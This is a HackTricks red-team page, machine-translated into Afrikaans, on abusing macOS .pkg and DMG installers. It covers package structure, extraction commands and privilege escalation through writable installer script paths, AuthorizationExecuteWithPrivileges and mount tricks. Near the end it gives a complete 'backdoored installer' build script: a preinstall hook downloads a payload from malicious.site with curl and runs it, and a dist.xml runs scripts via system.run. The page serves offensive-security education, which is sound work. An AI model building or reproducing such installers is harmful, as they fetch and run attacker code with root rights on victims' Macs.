macOS Installers Abuse
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Pkg Basiese Inligting
ân macOS installer pakket (ook bekend as ân .pkg lĂȘer) is ân lĂȘerformaat wat deur macOS gebruik word om sagteware te versprei. Hierdie lĂȘers is soos ân doos wat alles bevat wat ân stuk sagteware nodig het om korrek te installeer en te werk.
Die pakketlĂȘer self is ân argief wat ân hiĂ«rargie van lĂȘers en gidse bevat wat op die teiken rekenaar geĂŻnstalleer sal word. Dit kan ook scripts insluit om take voor en na die installasie uit te voer, soos om konfigurasielĂȘers op te stel of ou weergawes van die sagteware skoon te maak.
Hiërargie

- Verspreiding (xml): Aangepashede (titel, welkom teksâŠ) en script/installasie kontroles
- PakketInligting (xml): Inligting, installasie vereistes, installasie ligging, paaie na scripts om uit te voer
- Materiaalstaat (bom): Lys van lĂȘers om te installeer, op te dateer of te verwyder met lĂȘer toestemmings
- Payload (CPIO argief gzip gecomprimeer): LĂȘers om te installeer in die
install-locationvan PakketInligting - Scripts (CPIO argief gzip gecomprimeer): Voor- en na-installasie scripts en meer hulpbronne wat na ân tydelike gids uitgehaal is vir uitvoering.
Decomprimeer
# Tool to directly get the files inside a package
pkgutil âexpand "/path/to/package.pkg" "/path/to/out/dir"
# Get the files ina. more manual way
mkdir -p "/path/to/out/dir"
cd "/path/to/out/dir"
xar -xf "/path/to/package.pkg"
# Decompress also the CPIO gzip compressed ones
cat Scripts | gzip -dc | cpio -i
cpio -i < Scripts
Om die inhoud van die installeerder te visualiseer sonder om dit handmatig te dekomprimeer, kan jy ook die gratis hulpmiddel Suspicious Package gebruik.
DMG Basiese Inligting
DMG-lĂȘers, of Apple Disk Images, is ân lĂȘerformaat wat deur Apple se macOS vir skyfbeelde gebruik word. ân DMG-lĂȘer is in wese ân aansluitbare skyfbeeld (dit bevat sy eie lĂȘerstelsel) wat rou blokdata bevat wat tipies gecomprimeer en soms versleuteld is. Wanneer jy ân DMG-lĂȘer oopmaak, aansluit macOS dit asof dit ân fisiese skyf is, wat jou toelaat om toegang tot die inhoud te verkry.
Caution
Let daarop dat
.dmginstalleerders soveel formate ondersteun dat sommige daarvan in die verlede wat kwesbaarhede bevat het, misbruik is om kernel kode-uitvoering te verkry.
Hiërargie
.png)
Die hiĂ«rargie van ân DMG-lĂȘer kan verskil op grond van die inhoud. Dit volg egter gewoonlik hierdie struktuur vir toepassings DMGs:
- Topvlak: Dit is die wortel van die skyfbeeld. Dit bevat dikwels die toepassing en moontlik ân skakel na die Toepassings-gids.
- Toepassing (.app): Dit is die werklike toepassing. In macOS is ân toepassing tipies ân pakket wat baie individuele lĂȘers en gidse bevat wat die toepassing saamstel.
- Toepassingskakel: Dit is ân snelkoppeling na die Toepassings-gids in macOS. Die doel hiervan is om dit maklik te maak om die toepassing te installeer. Jy kan die .app-lĂȘer na hierdie snelkoppeling sleep om die app te installeer.
Privesc via pkg misbruik
Uitvoering vanaf openbare gidse
As ân vooraf of na-installasie skrip byvoorbeeld uitvoer vanaf /var/tmp/Installerutil, en ân aanvaller daardie skrip kan beheer, kan hy privilige verhoog wanneer dit uitgevoer word. Of ân ander soortgelyke voorbeeld:

AuthorizationExecuteWithPrivileges
Dit is ân openbare funksie wat verskeie installeerders en opdaterings sal aanroep om iets as root uit te voer. Hierdie funksie aanvaar die pad van die lĂȘer om te uitvoer as parameter, egter, as ân aanvaller hierdie lĂȘer kan wysig, sal hy in staat wees om sy uitvoering met root te misbruik om privilege te verhoog.
# Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges
# You could also check FS events to find this missconfig
For more info check this talk: https://www.youtube.com/watch?v=lTOItyjTTkw
Uitvoering deur te monteer
As ân installer na /tmp/fixedname/bla/bla skryf, is dit moontlik om ân monteer oor /tmp/fixedname te skep met geen eienaars sodat jy enige lĂȘer tydens die installasie kan wysig om die installasieproses te misbruik.
ân Voorbeeld hiervan is CVE-2021-26089 wat daarin geslaag het om ân periodieke skrip te oorskryf om uitvoering as root te verkry. Vir meer inligting, kyk na die praatjie: OBTS v4.0: âMount(ain) of Bugsâ - Csaba Fitzl
pkg as malware
Leë Payload
Dit is moontlik om net ân .pkg lĂȘer te genereer met pre- en post-install skripte sonder enige werklike payload behalwe die malware binne die skripte.
JS in Verspreiding xml
Dit is moontlik om <script> etikette in die verspreiding xml lĂȘer van die pakket toe te voeg en daardie kode sal uitgevoer word en dit kan opdragte uitvoer met behulp van system.run:
.png)
Backdoored Installer
Kwaadwillige installer wat ân skrip en JS-kode binne dist.xml gebruik
# Package structure
mkdir -p pkgroot/root/Applications/MyApp
mkdir -p pkgroot/scripts
# Create preinstall scripts
cat > pkgroot/scripts/preinstall <<EOF
#!/bin/bash
echo "Running preinstall script"
curl -o /tmp/payload.sh http://malicious.site/payload.sh
chmod +x /tmp/payload.sh
/tmp/payload.sh
exit 0
EOF
# Build package
pkgbuild --root pkgroot/root --scripts pkgroot/scripts --identifier com.malicious.myapp --version 1.0 myapp.pkg
# Generate the malicious dist.xml
cat > ./dist.xml <<EOF
<?xml version="1.0" encoding="utf-8"?>
<installer-gui-script minSpecVersion="1">
<title>Malicious Installer</title>
<options customize="allow" require-scripts="false"/>
<script>
<![CDATA[
function installationCheck() {
if (system.isSandboxed()) {
my.result.title = "Cannot install in a sandbox.";
my.result.message = "Please run this installer outside of a sandbox.";
return false;
}
return true;
}
function volumeCheck() {
return true;
}
function preflight() {
system.run("/path/to/preinstall");
}
function postflight() {
system.run("/path/to/postinstall");
}
]]>
</script>
<choices-outline>
<line choice="default">
<line choice="myapp"/>
</line>
</choices-outline>
<choice id="myapp" title="MyApp">
<pkg-ref id="com.malicious.myapp"/>
</choice>
<pkg-ref id="com.malicious.myapp" installKBytes="0" auth="root">#myapp.pkg</pkg-ref>
</installer-gui-script>
EOF
# Buil final
productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pkg
Verwysings
- DEF CON 27 - Ontpakking van Pkgs ân Kyk Binne Macos Installer Pakkette en Algemene Sekuriteitsfoute
- OBTS v4.0: âDie Wilde WĂȘreld van macOS Installeerdersâ - Tony Lambert
- DEF CON 27 - Ontpakking van Pkgs ân Kyk Binne MacOS Installer Pakkette
- https://redteamrecipe.com/macos-red-teaming?utm_source=pocket_shared#heading-exploiting-installer-packages
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

